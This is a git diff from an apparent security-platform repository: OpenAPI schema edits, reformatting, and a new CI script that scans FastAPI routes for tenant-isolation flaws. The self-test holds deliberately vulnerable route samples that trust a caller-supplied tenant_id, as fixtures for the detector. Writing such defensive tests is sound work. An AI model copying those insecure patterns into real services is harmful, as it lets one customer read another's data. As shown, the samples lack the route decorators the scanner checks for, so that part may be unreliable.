- fusion
summary: Entity-risk queue stats
operationId: entity_risk_stats_api_v1_fusion_entity_risk_stats_get
+ security:
+ - HTTPBearer: []
parameters:
- name: tenant_id
in: query
- required: true
+ required: false
schema:
- type: string
- format: uuid
+ anyOf:
+ - type: string
+ format: uuid
+ - type: 'null'
title: Tenant Id
responses:
'200':
@@ -13885,6 +13893,8 @@ paths:
- fusion
summary: Entity risk record detail
operationId: entity_risk_detail_api_v1_fusion_entity_risk__entity_type___entity_value__get
+ security:
+ - HTTPBearer: []
parameters:
- name: entity_type
in: path
@@ -13900,10 +13910,12 @@ paths:
title: Entity Value
- name: tenant_id
in: query
- required: true
+ required: false
schema:
- type: string
- format: uuid
+ anyOf:
+ - type: string
+ format: uuid
+ - type: 'null'
title: Tenant Id
responses:
'200':
@@ -26030,6 +26042,14 @@ components:
type: integer
title: Mttc Sample Count
default: 0
+ false_positive_rate_sample_count:
+ type: integer
+ title: False Positive Rate Sample Count
+ default: 0
+ escalation_rate_sample_count:
+ type: integer
+ title: Escalation Rate Sample Count
+ default: 0
type: object
required:
- mttd_hours
diff --git a/scripts/adoption_snapshot.py b/scripts/adoption_snapshot.py
index ca2357945..429a000c5 100644
--- a/scripts/adoption_snapshot.py
+++ b/scripts/adoption_snapshot.py
@@ -102,9 +102,7 @@ def collect() -> dict:
snap["github"][f"unique_{kind}_14d"] = None
notes.append(f"traffic/{kind} unavailable ({err}; needs push access)")
- contributors, err = _get(
- f"https://api.github.com/repos/{REPO}/contributors?per_page=100", token
- )
+ contributors, err = _get(f"https://api.github.com/repos/{REPO}/contributors?per_page=100", token)
snap["github"]["contributors"] = len(contributors) if contributors else None
if contributors is None:
notes.append(f"contributors unavailable ({err})")
@@ -112,9 +110,7 @@ def collect() -> dict:
releases, err = _get(f"https://api.github.com/repos/{REPO}/releases?per_page=100", token)
if releases is not None:
snap["github"]["releases"] = len(releases)
- snap["github"]["release_asset_downloads"] = sum(
- a.get("download_count", 0) for r in releases for a in r.get("assets", [])
- )
+ snap["github"]["release_asset_downloads"] = sum(a.get("download_count", 0) for r in releases for a in r.get("assets", []))
else:
snap["github"]["releases"] = None
snap["github"]["release_asset_downloads"] = None
@@ -218,9 +214,7 @@ def render_markdown(history: list[dict]) -> str:
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
- parser.add_argument(
- "--write", action="store_true", help="update the committed snapshot files"
- )
+ parser.add_argument("--write", action="store_true", help="update the committed snapshot files")
args = parser.parse_args()
snapshot = collect()
diff --git a/scripts/audit_health_probes.py b/scripts/audit_health_probes.py
index 83e5acf33..dd40076ba 100644
--- a/scripts/audit_health_probes.py
+++ b/scripts/audit_health_probes.py
@@ -41,6 +41,7 @@ import sys
REPO_ROOT = pathlib.Path(__file__).resolve().parent.parent
SERVICES_DIR = REPO_ROOT / "services"
+
# Services that are Python FastAPI apps (excludes the Go ingest
# service, the Node realtime service, and any service without an
# ``app/main.py`` file).
@@ -95,8 +96,7 @@ def main() -> int:
if args.check and drift:
print(
"\nFAIL: the following FastAPI services do not install the "
- "Phase 2.6 /livez + /readyz probes from app._health:\n - "
- + "\n - ".join(drift),
+ "Phase 2.6 /livez + /readyz probes from app._health:\n - " + "\n - ".join(drift),
file=sys.stderr,
)
print(
diff --git a/scripts/build_marketplace.py b/scripts/build_marketplace.py
index d378be1c1..2377a7b89 100644
--- a/scripts/build_marketplace.py
+++ b/scripts/build_marketplace.py
@@ -286,8 +286,7 @@ def build_detection_item(
}
if quarantined:
item["quarantine_reason"] = data.get("quarantine_reason") or (
- "imported rule; upstream query language not directly executable "
- "by the AiSOC engine yet"
+ "imported rule; upstream query language not directly executable " "by the AiSOC engine yet"
)
provenance = data.get("provenance")
if isinstance(provenance, dict):
@@ -303,9 +302,7 @@ def build_detection_item(
return item
-def build_playbook_item(
- path: Path, *, source: str, tier: str
-) -> dict[str, Any] | None:
+def build_playbook_item(path: Path, *, source: str, tier: str) -> dict[str, Any] | None:
try:
data = json.loads(path.read_text(encoding="utf-8"))
except Exception as exc:
@@ -318,9 +315,7 @@ def build_playbook_item(
tags = normalise_tags(raw_tags)
trigger_block = data.get("trigger") or {}
trigger = trigger_block.get("on") if isinstance(trigger_block, dict) else None
- severities = (
- trigger_block.get("severity") if isinstance(trigger_block, dict) else None
- )
+ severities = trigger_block.get("severity") if isinstance(trigger_block, dict) else None
severity: str | None = None
if isinstance(severities, list) and severities:
# Pick the highest declared severity for display.
@@ -350,9 +345,7 @@ def build_playbook_item(
}
-def build_plugin_item(
- path: Path, *, source: str, tier: str | None = None
-) -> dict[str, Any] | None:
+def build_plugin_item(path: Path, *, source: str, tier: str | None = None) -> dict[str, Any] | None:
try:
data = yaml.safe_load(path.read_text(encoding="utf-8"))
except Exception as exc:
@@ -419,9 +412,7 @@ def collect_items() -> list[dict[str, Any]]:
# Detections — imported tiers (one per upstream corpus)
for f, src_name, quarantined in imported_detection_files():
- item = build_detection_item(
- f, source=src_name, tier="imported", quarantined=quarantined
- )
+ item = build_detection_item(f, source=src_name, tier="imported", quarantined=quarantined)
if item:
items.append(item)
@@ -459,10 +450,7 @@ def categories_block(items: list[dict[str, Any]]) -> list[dict[str, Any]]:
{
"id": "playbooks",
"label": "Response Playbooks",
- "description": (
- "Automated incident-response workflows triggered by "
- "alerts or manual invocation."
- ),
+ "description": ("Automated incident-response workflows triggered by " "alerts or manual invocation."),
},
{
"id": "detections",
@@ -524,12 +512,8 @@ def coverage_block(items: list[dict[str, Any]]) -> dict[str, Any]:
return {
"techniques": dict(sorted(techniques.items())),
"unique_techniques": len(techniques),
- "total_with_mitre": sum(
- 1 for i in items if i.get("mitre_techniques")
- ),
- "by_tier": {
- tier: dict(sorted(tids.items())) for tier, tids in by_tier.items()
- },
+ "total_with_mitre": sum(1 for i in items if i.get("mitre_techniques")),
+ "by_tier": {tier: dict(sorted(tids.items())) for tier, tids in by_tier.items()},
}
@@ -539,10 +523,7 @@ def build_index() -> dict[str, Any]:
return {
"$schema": "https://example.com/schemas/marketplace/v1.json",
"version": "1.0.0",
- "generated": dt.datetime.now(dt.UTC)
- .replace(microsecond=0)
- .isoformat()
- .replace("+00:00", "Z"),
+ "generated": dt.datetime.now(dt.UTC).replace(microsecond=0).isoformat().replace("+00:00", "Z"),
"categories": categories_block(items),
"stats": {
"total": len(items),
@@ -553,9 +534,7 @@ def build_index() -> dict[str, Any]:
"community": sum(1 for i in items if i.get("source") == "community"),
"by_tier": _tier_breakdown(items),
"detections_by_tier": _detection_tier_breakdown(items),
- "quarantined": sum(
- 1 for i in items if i.get("quarantine_reason")
- ),
+ "quarantined": sum(1 for i in items if i.get("quarantine_reason")),
},
"mitre_coverage": coverage_block(items),
"items": items,
@@ -593,16 +572,8 @@ def main() -> int:
return 0
if args.check:
- existing_primary = (
- OUTPUT_PRIMARY.read_text(encoding="utf-8")
- if OUTPUT_PRIMARY.exists()
- else ""
- )
- existing_public = (
- OUTPUT_PUBLIC.read_text(encoding="utf-8")
- if OUTPUT_PUBLIC.exists()
- else ""
- )
+ existing_primary = OUTPUT_PRIMARY.read_text(encoding="utf-8") if OUTPUT_PRIMARY.exists() else ""
+ existing_public = OUTPUT_PUBLIC.read_text(encoding="utf-8") if OUTPUT_PUBLIC.exists() else ""
# Compare ignoring `generated` timestamp.
def _strip_generated(s: str) -> str:
@@ -616,20 +587,13 @@ def main() -> int:
return json.dumps(obj, indent=2, sort_keys=False) + "\n"
rebuilt_no_ts = _strip_generated(serialised)
- if (
- _strip_generated(existing_primary) != rebuilt_no_ts
- or _strip_generated(existing_public) != rebuilt_no_ts
- ):
+ if _strip_generated(existing_primary) != rebuilt_no_ts or _strip_generated(existing_public) != rebuilt_no_ts:
print(
- "marketplace/index.json is stale. Run: "
- "pnpm marketplace:build",
+ "marketplace/index.json is stale. Run: " "pnpm marketplace:build",
file=sys.stderr,
)
return 1
- print(
- f"marketplace/index.json is up to date "
- f"({index['stats']['total']} items)."
- )
+ print(f"marketplace/index.json is up to date " f"({index['stats']['total']} items).")
return 0
write_index(index)
diff --git a/scripts/check_investigation_depth.py b/scripts/check_investigation_depth.py
index 7bb0a7f3a..7e9f598f1 100644
--- a/scripts/check_investigation_depth.py
+++ b/scripts/check_investigation_depth.py
@@ -48,8 +48,7 @@ def check_strategies(errors: list[str]) -> None:
if len(STRATEGIES) < 5:
_fail(
errors,
- f"only {len(STRATEGIES)} strategies defined; the library is meant to "
- f"cover the kill chains the corpus fires on",
+ f"only {len(STRATEGIES)} strategies defined; the library is meant to " f"cover the kill chains the corpus fires on",
)
seen_pivots: set[str] = set()
@@ -109,8 +108,7 @@ def check_tool_coverage(errors: list[str]) -> None:
if len(tool.description) < 40:
_fail(
errors,
- f"tool {tool.name!r} has a {len(tool.description)}-character "
- f"description; the model selects on this",
+ f"tool {tool.name!r} has a {len(tool.description)}-character " f"description; the model selects on this",
)
@@ -206,9 +204,7 @@ def check_corpus(errors: list[str], corpus_path: Path) -> None:
floor = strategy.min_pivots if strategy else 2
distinct = int(run.get("distinct_pivots", 0))
if distinct < floor:
- shallow.append(
- f"{run.get('incident_id', '?')} ({strategy_id}): {distinct} pivots, floor {floor}"
- )
+ shallow.append(f"{run.get('incident_id', '?')} ({strategy_id}): {distinct} pivots, floor {floor}")
if shallow:
_fail(
@@ -221,8 +217,7 @@ def check_corpus(errors: list[str], corpus_path: Path) -> None:
if len(over) > len(runs) * 0.1:
_fail(
errors,
- f"{len(over)}/{len(runs)} investigations exceeded their time budget; "
- f"the pivot chain is too slow to run on the hot path",
+ f"{len(over)}/{len(runs)} investigations exceeded their time budget; " f"the pivot chain is too slow to run on the hot path",
)
diff --git a/scripts/check_mock_data_gated.py b/scripts/check_mock_data_gated.py
index aeedf730e..a9e4e217d 100644
--- a/scripts/check_mock_data_gated.py
+++ b/scripts/check_mock_data_gated.py
@@ -130,9 +130,7 @@ LAYOUT_KEYS = frozenset(
PROPER_NOUN = re.compile(r"^[A-Z][A-Za-z.&]*(?:[ -][A-Z][A-Za-z.&]*)+$")
#: WIN-DC01, srv-01.corp.local, 10.0.0.4, [email protected].
-ESTATE_IDENTIFIER = re.compile(
- r"^(?:[A-Z]{2,}-[A-Z0-9-]{2,}|[a-z][\w-]*-\d+\.[a-z][\w.-]+|\d{1,3}(?:\.\d{1,3}){3}|[\w.+-]+@[\w-]+\.\w+)$"
-)
+ESTATE_IDENTIFIER = re.compile(r"^(?:[A-Z]{2,}-[A-Z0-9-]{2,}|[a-z][\w-]*-\d+\.[a-z][\w.-]+|\d{1,3}(?:\.\d{1,3}){3}|[\w.+-]+@[\w-]+\.\w+)$")
#: Any of these in the file means the author considered demo mode.
DEMO_GATE = re.compile(r"demoFallback|canUseDemoData|isDemoMode")
diff --git a/scripts/check_repo_self_links.py b/scripts/check_repo_self_links.py
index 5b1cb40a3..aa4ecc6e0 100644
--- a/scripts/check_repo_self_links.py
+++ b/scripts/check_repo_self_links.py
@@ -118,10 +118,7 @@ def main() -> int:
return 0
if wrong_owner:
- print(
- f"\n{len(wrong_owner)} link(s) use a non-canonical owner "
- f"(expected {CANONICAL_OWNER}/{CANONICAL_REPO}):"
- )
+ print(f"\n{len(wrong_owner)} link(s) use a non-canonical owner " f"(expected {CANONICAL_OWNER}/{CANONICAL_REPO}):")
for path, lineno, found in wrong_owner:
print(f" {path}:{lineno} -> {found}")
diff --git a/scripts/check_route_tenant_scope.py b/scripts/check_route_tenant_scope.py
new file mode 100644
index 000000000..ce3a40f4c
--- /dev/null
+++ b/scripts/check_route_tenant_scope.py
@@ -0,0 +1,669 @@
+#!/usr/bin/env python3
+"""Fail the build when a route lets its caller name the tenant.
+
+Tenant isolation in this codebase is enforced at read time, per store, and the
+authoritative tenant is the authenticated principal's. A route that accepts
+``tenant_id`` from the client and carries no authentication is not a scoping
+bug that better validation fixes: validating the *value* of the parameter does
+nothing, because any caller can still name any tenant UUID. The scope has to
+come from somewhere the caller does not control.
+
+So this gate asks two questions of every route in the tree, and both have to
+hold:
+
+1. **A route that takes a tenant identifier must carry an auth dependency.**
+ Otherwise the tenant is whatever the caller typed.
+2. **A route that accepts a tenant identifier *alongside* authentication must
+ intersect it with the caller's authorised scope.** An MSSP operator
+ narrowing to one managed tenant is legitimate; reaching a tenant they do
+ not manage is not, and only an intersection tells the two apart. Naming an
+ outside tenant must narrow the result to nothing rather than reach out.
+
+Both directions are checked because a one-directional gate is the dominant
+failure shape here: it compares A against B, never B against A, and prints OK
+while drift accumulates in the direction things actually change. ``--self-test``
+injects a violation of each kind and asserts the scanner catches both.
+
+The scan is an AST pass rather than a grep because the thing being looked for
+is structural — a parameter's name and annotation, a decorator's ``dependencies``
+list, the router object the decorator hangs off — and every one of those
+survives a rename that a regex would miss.
+
+Usage::
+
+ python scripts/check_route_tenant_scope.py # gate (exit 1 on violations)
+ python scripts/check_route_tenant_scope.py --inventory # full route inventory
+ python scripts/check_route_tenant_scope.py --json # machine-readable
+ python scripts/check_route_tenant_scope.py --self-test # prove it detects drift
+
+Exit codes: 0 clean, 1 violations found, 2 the scan itself could not run.
+"""
+
+from __future__ import annotations
+
+import argparse
+import ast
+import json
+import os
+import subprocess
+import sys
+import tempfile
+from dataclasses import asdict, dataclass, field
+from pathlib import Path
+
+
+def _repo_root() -> Path:
+ """Resolve the repository root, preferring git over this file's location.
+
+ A gate that derives its root from ``__file__`` will happily scan a stale
+ copy of the tree and print a confident OK about a checkout it never
+ opened. Asking git means the answer describes the working tree the caller
+ is actually in; the ``__file__`` walk is only the fallback for a tarball
+ with no ``.git``.
+ """
+ env = os.environ.get("AISOC_REPO_ROOT")
+ if env:
+ return Path(env).resolve()
+ try:
+ out = subprocess.run(
+ ["git", "rev-parse", "--show-toplevel"],
+ capture_output=True,
+ text=True,
+ check=True,
+ cwd=Path(__file__).resolve().parent,
+ )
+ return Path(out.stdout.strip()).resolve()
+ except (subprocess.CalledProcessError, FileNotFoundError):
+ return Path(__file__).resolve().parent.parent
+
+
+REPO_ROOT = _repo_root()
+SERVICES_DIR = REPO_ROOT / "services"
+
+HTTP_METHODS = {"get", "post", "put", "patch", "delete", "head", "options", "websocket"}
+
+#: Parameter names that carry a tenant identity. Matched exactly, plus a
+#: suffix rule below, so ``tenant_id`` and ``target_tenant_id`` both count but
+#: ``tenant_name`` (a display string, not a selector) does not.
+TENANT_PARAM_NAMES = {
+ "tenant",
+ "tenant_id",
+ "tenant_uuid",
+ "tenantid",
+ "tenant_ids",
+ "tenant_ref",
+ "tenant_slug",
+ "org_id",
+ "organization_id",
+ "customer_id",
+}
+TENANT_PARAM_SUFFIXES = ("_tenant_id", "_tenant", "_tenant_ids")
+
+#: A field the caller must *retype to confirm* a destructive action is not a
+#: selector — the tenant still comes from the principal and the field is only
+#: ever compared for equality. Treating it as a selector would push routes
+#: toward removing the confirmation, which is the opposite of the point.
+TENANT_PARAM_CONFIRMATION_PREFIXES = ("confirm_", "confirmation_", "expected_")
+
+#: Dependency callables and annotated aliases that establish an authenticated
+#: principal. A route naming any of these has an identity to scope against.
+AUTH_DEPENDENCY_NAMES = {
+ # services/api
+ "get_current_user",
+ "get_current_active_user",
+ "require_permission",
+ "AuthUser",
+ "CurrentUser",
+ "ReadUser",
+ "WriteUser",
+ "AdminUser",
+ "TenantDBSession",
+ # per-service bearer guards (the services/actions pattern)
+ "require_service_auth",
+ "require_actor_auth",
+ "require_valid_node_key",
+ # dual-mode console-JWT-or-service-token guard (app/security/tenant_scope.py)
+ "require_console_or_service_auth",
+ "TenantPrincipal",
+ "ScopedPrincipal",
+ # MSSP cross-tenant surfaces resolve a portfolio instead of one tenant
+ "PortfolioScope",
+ "_scope",
+ "_admin_scope",
+}
+
+#: Helpers that intersect a caller-supplied tenant with authorised scope.
+#: Calling one of these is what makes accepting the parameter legitimate.
+SCOPE_INTERSECTION_NAMES = {
+ "narrow",
+ "require_scope",
+ "resolve_scoped_tenant",
+ "scoped_tenant_or_403",
+ "intersect_tenant_scope",
+ "authorize_tenant_access",
+ "assert_tenant_access",
+}
+
+#: Per-file resolvers that intersect a client tenant with authorised scope but
+#: are local to one module, so their names do not belong in the global
+#: vocabulary above. Scoped by path so an unrelated function that happens to
+#: share a name elsewhere gets no credit.
+FILE_LOCAL_RESOLVERS: dict[str, dict[str, str]] = {
+ "services/api/app/api/v1/endpoints/mssp.py": {
+ "_require_own_child": ("parent/child delegation: verifies the child consented to adoption and is already this parent's"),
+ },
+ "services/api/app/api/v1/endpoints/alert_writeback.py": {
+ "_resolve_caller": ("a session's tenant wins over the body's; a service caller must name one and gets no default"),
+ },
+ "services/api/app/api/v1/endpoints/playbook_steps.py": {
+ "_resolve_caller": (
+ "same shape as alert_writeback: a session's tenant comes from the session, "
+ "so an authenticated user cannot drive a containment against another tenant's estate"
+ ),
+ },
+}
+
+#: Routes that *define* a tenant scope rather than read within one. Onboarding
+#: a customer into a portfolio, or granting a member reach over one, cannot
+#: intersect with the scope it is about to create — that would make the
+#: operation impossible rather than safe. Each still validates against the
+#: organisation's portfolio; the reason records which check stands in.
+SCOPE_DEFINING_ROUTES: dict[str, str] = {
+ "services/api/app/api/v1/endpoints/mssp.py::add_tenants_to_portfolio": (
+ "onboarding: rejects any tenant already claimed by another organisation, "
+ "enforced by a unique constraint on organization_tenants.tenant_id"
+ ),
+ "services/api/app/api/v1/endpoints/mssp.py::set_member_tenant_grants": (
+ "grant: refuses tenant_ids outside the organisation's portfolio, backed by the composite FK onto organization_tenants"
+ ),
+ "services/api/app/api/v1/endpoints/mssp.py::remove_tenant_from_portfolio": (
+ "offboarding: deletes only the link row matching this organisation's org_id, so a tenant outside the portfolio resolves to 404"
+ ),
+}
+
+#: Routes whose credential is a per-tenant pre-shared value verified in-band,
+#: rather than a bearer token resolved by a dependency. An agent calling its
+#: enrolment endpoint has no session yet — that call is what establishes one —
+#: so requiring a bearer dependency would mean it could never enrol.
+#:
+#: The exemption is conditional, not a free pass: it only applies when the
+#: route actually calls the named verifier. Deleting the verification and
+#: keeping the entry fails the gate, which is the failure mode an unconditional
+#: allowlist cannot catch.
+IN_BAND_CREDENTIAL_ROUTES: dict[str, tuple[str, str]] = {
+ "services/osquery-tls/app/api/v1/endpoints/enroll.py::enroll": (
+ "verify_enroll_secret",
+ "osqueryd bootstraps here and holds no bearer token; the per-tenant "
+ "enroll secret is the credential and is checked before any write",
+ ),
+}
+
+#: Routes that are public by design. Each entry is (service, reason) and the
+#: reason is load-bearing — an exemption without one is how a gate rots into a
+#: list of things somebody once found inconvenient.
+EXEMPT_SERVICES = {
+ # Ed25519-signed + k-anonymous federation. A bearer token here would break
+ # federation between independent deployments rather than secure anything:
+ # the whole point is that peers have no shared credential.
+ "mesh": "public by design — Ed25519 signatures + k-anonymity, no shared credential exists",
+}
+
+#: Path fragments never scanned: tests exercise the routes, vendored copies are
+#: read-path mirrors, and the historical prototype is not deployable code.
+SKIP_FRAGMENTS = (
+ "/tests/",
+ "/test_",
+ "/_vendor/",
+ "/plans/",
+ "/node_modules/",
+ "/.venv/",
+ "/migrations/",
+)
+
+
+@dataclass
+class Route:
+ service: str
+ path: str # repo-relative file
+ lineno: int
+ function: str
+ methods: list[str]
+ route_path: str
+ tenant_params: list[str] = field(default_factory=list)
+ auth_deps: list[str] = field(default_factory=list)
+ scope_calls: list[str] = field(default_factory=list)
+ router_level_auth: bool = False
+ #: Names called in the body, retained so a conditional exemption can
+ #: verify the check it claims still exists.
+ body_calls: list[str] = field(default_factory=list)
+
+ @property
+ def takes_tenant(self) -> bool:
+ return bool(self.tenant_params)
+
+ @property
+ def has_auth(self) -> bool:
+ return bool(self.auth_deps) or self.router_level_auth
+
+ @property
+ def intersects_scope(self) -> bool:
+ return bool(self.scope_calls)
+
+ def location(self) -> str:
+ return f"{self.path}:{self.lineno} {self.function}()"
+
+
+def _is_tenant_param(name: str) -> bool:
+ if name.startswith(TENANT_PARAM_CONFIRMATION_PREFIXES):
+ return False
+ if name in TENANT_PARAM_NAMES:
+ return True
+ return any(name.endswith(suffix) for suffix in TENANT_PARAM_SUFFIXES)
+
+
+def _names_in(node: ast.AST) -> set[str]:
+ """Every bare and dotted name mentioned anywhere under ``node``."""
+ found: set[str] = set()
+ for child in ast.walk(node):
+ if isinstance(child, ast.Name):
+ found.add(child.id)
+ elif isinstance(child, ast.Attribute):
+ found.add(child.attr)
+ return found
+
+
+def _annotation_names(annotation: ast.expr | None) -> set[str]:
+ if annotation is None:
+ return set()
+ return _names_in(annotation)
+
+
+def _decorator_route_info(dec: ast.expr) -> tuple[str, str, str] | None:
+ """Return (router_object, method, route_path) for a route decorator."""
+ if not isinstance(dec, ast.Call):
+ return None
+ func = dec.func
+ if not isinstance(func, ast.Attribute) or func.attr not in HTTP_METHODS:
+ return None
+ if not isinstance(func.value, ast.Name):
+ return None
+ router_obj = func.value.id
+ route_path = ""
+ if dec.args and isinstance(dec.args[0], ast.Constant) and isinstance(dec.args[0].value, str):
+ route_path = dec.args[0].value
+ return router_obj, func.attr, route_path
+
+
+def _pydantic_models_with_tenant(tree: ast.AST) -> dict[str, list[str]]:
+ """Request models defined in this module that carry a tenant field.
+
+ A tenant on a POST body is the same hole as a tenant in the query string —
+ ``POST /easm/scan {"tenant_id": "<someone else's>"}`` reads exactly like
+ ``?tenant_id=``. Only looking at route signatures would miss it, and the
+ body is where the mutating routes carry it.
+ """
+ models: dict[str, list[str]] = {}
+ for node in ast.walk(tree):
+ if not isinstance(node, ast.ClassDef):
+ continue
+ bases = {b.id if isinstance(b, ast.Name) else getattr(b, "attr", "") for b in node.bases}
+ if not bases & {"BaseModel", "BaseSettings"}:
+ continue
+ fields = [
+ stmt.target.id
+ for stmt in node.body
+ if isinstance(stmt, ast.AnnAssign) and isinstance(stmt.target, ast.Name) and _is_tenant_param(stmt.target.id)
+ ]
+ if fields:
+ models[node.name] = fields
+ return models
+
+
+def _router_level_auth_objects(tree: ast.AST) -> set[str]:
+ """Router objects constructed with a ``dependencies=`` list naming an auth guard.
+
+ ``APIRouter(dependencies=[Depends(require_service_auth)])`` is how the
+ previous default-deny pass secured purple-team, honeytokens and ueba, so a
+ scanner that only reads per-route signatures would report those three as
+ wide open and send somebody to "fix" routes that are already closed.
+ """
+ secured: set[str] = set()
+ for node in ast.walk(tree):
+ if not isinstance(node, ast.Assign) or not isinstance(node.value, ast.Call):
+ continue
+ call = node.value
+ callee = call.func
+ callee_name = callee.id if isinstance(callee, ast.Name) else (callee.attr if isinstance(callee, ast.Attribute) else "")
+ if callee_name not in {"APIRouter", "FastAPI"}:
+ continue
+ for kw in call.keywords:
+ if kw.arg != "dependencies":
+ continue
+ if _names_in(kw.value) & AUTH_DEPENDENCY_NAMES:
+ for target in node.targets:
+ if isinstance(target, ast.Name):
+ secured.add(target.id)
+ return secured
+
+
+def _scan_tree(tree: ast.AST, *, service: str, rel_path: str) -> list[Route]:
+ routes: list[Route] = []
+ secured_routers = _router_level_auth_objects(tree)
+ tenant_models = _pydantic_models_with_tenant(tree)
+
+ for node in ast.walk(tree):
+ if not isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef):
+ continue
+
+ methods: list[str] = []
+ route_path = ""
+ router_objs: set[str] = set()
+ decorator_auth: set[str] = set()
+
+ for dec in node.decorator_list:
+ info = _decorator_route_info(dec)
+ if info is None:
+ continue
+ router_obj, method, path = info
+ router_objs.add(router_obj)
+ methods.append(method)
+ route_path = route_path or path
+ # dependencies=[...] declared on the route decorator itself
+ assert isinstance(dec, ast.Call)
+ for kw in dec.keywords:
+ if kw.arg == "dependencies":
+ decorator_auth |= _names_in(kw.value) & AUTH_DEPENDENCY_NAMES
+
+ if not methods:
+ continue
+
+ args = node.args
+ all_args = [*args.posonlyargs, *args.args, *args.kwonlyargs]
+
+ tenant_params: list[str] = []
+ auth_deps: set[str] = set(decorator_auth)
+ for arg in all_args:
+ ann = _annotation_names(arg.annotation)
+ hit = ann & AUTH_DEPENDENCY_NAMES
+ if hit:
+ auth_deps |= hit
+ if _is_tenant_param(arg.arg):
+ # A tenant that arrives *via* an auth dependency is the
+ # principal's, not the caller's — not a finding.
+ if not hit:
+ tenant_params.append(arg.arg)
+ # A request body whose model declares a tenant field is the same
+ # client-supplied tenant, one indirection further away.
+ for model_name in ann & tenant_models.keys():
+ tenant_params.extend(f"{arg.arg}.{f}" for f in tenant_models[model_name])
+
+ # Defaults can carry Depends(...) without an annotation.
+ for default in [*args.defaults, *[d for d in args.kw_defaults if d is not None]]:
+ auth_deps |= _names_in(default) & AUTH_DEPENDENCY_NAMES
+
+ body_names = set()
+ for stmt in node.body:
+ body_names |= _names_in(stmt)
+ recognised = SCOPE_INTERSECTION_NAMES | FILE_LOCAL_RESOLVERS.get(rel_path, {}).keys()
+ scope_calls = sorted(body_names & recognised)
+
+ routes.append(
+ Route(
+ service=service,
+ path=rel_path,
+ lineno=node.lineno,
+ function=node.name,
+ methods=sorted(set(methods)),
+ route_path=route_path,
+ tenant_params=tenant_params,
+ auth_deps=sorted(auth_deps),
+ scope_calls=scope_calls,
+ router_level_auth=bool(router_objs & secured_routers),
+ body_calls=sorted(body_names),
+ )
+ )
+ return routes
+
+
+def collect_routes(root: Path | None = None) -> list[Route]:
+ base = (root or REPO_ROOT) / "services"
+ if not base.is_dir():
+ raise SystemExit(f"services directory not found under {root or REPO_ROOT}")
+ routes: list[Route] = []
+ for py in sorted(base.rglob("*.py")):
+ posix = py.as_posix()
+ if any(fragment in posix for fragment in SKIP_FRAGMENTS):
+ continue
+ rel = py.relative_to(root or REPO_ROOT).as_posix()
+ service = rel.split("/")[1] if rel.startswith("services/") else "?"
+ try:
+ tree = ast.parse(py.read_text(encoding="utf-8"), filename=str(py))
+ except SyntaxError as exc:
+ raise SystemExit(f"could not parse {rel}: {exc}") from exc
+ routes.extend(_scan_tree(tree, service=service, rel_path=rel))
+ return routes
+
+
+def find_violations(routes: list[Route]) -> tuple[list[Route], list[Route]]:
+ """Return (unauthenticated_tenant_routes, unintersected_tenant_routes)."""
+ unauthenticated: list[Route] = []
+ unintersected: list[Route] = []
+ for route in routes:
+ if route.service in EXEMPT_SERVICES or not route.takes_tenant:
+ continue
+ key = f"{route.path}::{route.function}"
+ if key in SCOPE_DEFINING_ROUTES:
+ continue
+ if key in IN_BAND_CREDENTIAL_ROUTES:
+ verifier, _reason = IN_BAND_CREDENTIAL_ROUTES[key]
+ if verifier in route.body_calls:
+ continue
+ # The entry claims a check the route no longer performs. Report it
+ # rather than honour a stale exemption.
+ unauthenticated.append(route)
+ continue
+ if not route.has_auth:
+ unauthenticated.append(route)
+ elif not route.intersects_scope:
+ unintersected.append(route)
+ return unauthenticated, unintersected
+
+
+def _print_inventory(routes: list[Route]) -> None:
+ services = sorted({r.service for r in routes})
+ print(f"Route inventory — scanned {SERVICES_DIR}")
+ print(f"{'service':<20}{'routes':>8}{'tenant-param':>14}{'authed':>9}{'tenant+auth':>13}{'intersects':>12}")
+ print("-" * 76)
+ for svc in services:
+ rs = [r for r in routes if r.service == svc]
+ tenant = [r for r in rs if r.takes_tenant]
+ note = " (exempt: public by design)" if svc in EXEMPT_SERVICES else ""
+ print(
+ f"{svc:<20}{len(rs):>8}{len(tenant):>14}{sum(1 for r in rs if r.has_auth):>9}"
+ f"{sum(1 for r in tenant if r.has_auth):>13}{sum(1 for r in tenant if r.intersects_scope):>12}{note}"
+ )
+ print("-" * 76)
+ tenant_all = [r for r in routes if r.takes_tenant]
+ print(
+ f"{'TOTAL':<20}{len(routes):>8}{len(tenant_all):>14}"
+ f"{sum(1 for r in routes if r.has_auth):>9}{sum(1 for r in tenant_all if r.has_auth):>13}"
+ f"{sum(1 for r in tenant_all if r.intersects_scope):>12}"
+ )
+
+
+def _self_test() -> int:
+ """Prove the scanner detects drift in both directions.
+
+ A gate nobody has seen fail is indistinguishable from a gate that cannot
+ fail. Each case below is a route the scanner must reject, and the clean
+ control must pass, so a refactor that quietly breaks detection shows up
+ here rather than in an incident.
+ """
+ clean = """
+from fastapi import APIRouter
+from app.api.v1.deps import AuthUser
+router = APIRouter()
+
+async def queue(user: AuthUser):
+ return {"tenant_id": str(user.tenant_id)}
+"""
+ unauthenticated = """
+from uuid import UUID
+from fastapi import APIRouter
+router = APIRouter()
+
+async def queue(tenant_id: UUID):
+ return {"tenant_id": str(tenant_id)}
+"""
+ unintersected = """
+from uuid import UUID
+from fastapi import APIRouter
+from app.api.v1.deps import AuthUser
+router = APIRouter()
+
+async def queue(user: AuthUser, tenant_id: UUID):
+ return {"tenant_id": str(tenant_id)}
+"""
+ intersected = """
+from uuid import UUID
+from fastapi import APIRouter
+from app.api.v1.deps import AuthUser
+from app.services.org_scope import narrow
+router = APIRouter()
+
+async def queue(user: AuthUser, tenant_id: UUID):
+ scope = narrow(user.scope, [tenant_id])
+ return {"tenants": scope.ordered_ids()}
+"""
+ cases = [
+ ("clean (auth, no client tenant)", clean, 0, 0),
+ ("drift A: tenant param, no auth", unauthenticated, 1, 0),
+ ("drift B: tenant param + auth, no intersection", unintersected, 0, 1),
+ ("control: tenant param + auth + intersection", intersected, 0, 0),
+ ]
+
+ failures = 0
+ with tempfile.TemporaryDirectory() as tmp:
+ for label, source, want_unauth, want_unint in cases:
+ root = Path(tmp) / label.split(":")[0].strip().replace(" ", "_")
+ target = root / "services" / "probe" / "app"
+ target.mkdir(parents=True, exist_ok=True)
+ (target / "routes.py").write_text(source, encoding="utf-8")
+ routes = collect_routes(root=root)
+ unauth, unint = find_violations(routes)
+ ok = len(unauth) == want_unauth and len(unint) == want_unint
+ status = "PASS" if ok else "FAIL"
+ if not ok:
+ failures += 1
+ print(
+ f" [{status}] {label}: found {len(unauth)} unauthenticated, {len(unint)} unintersected (want {want_unauth}, {want_unint})"
+ )
+
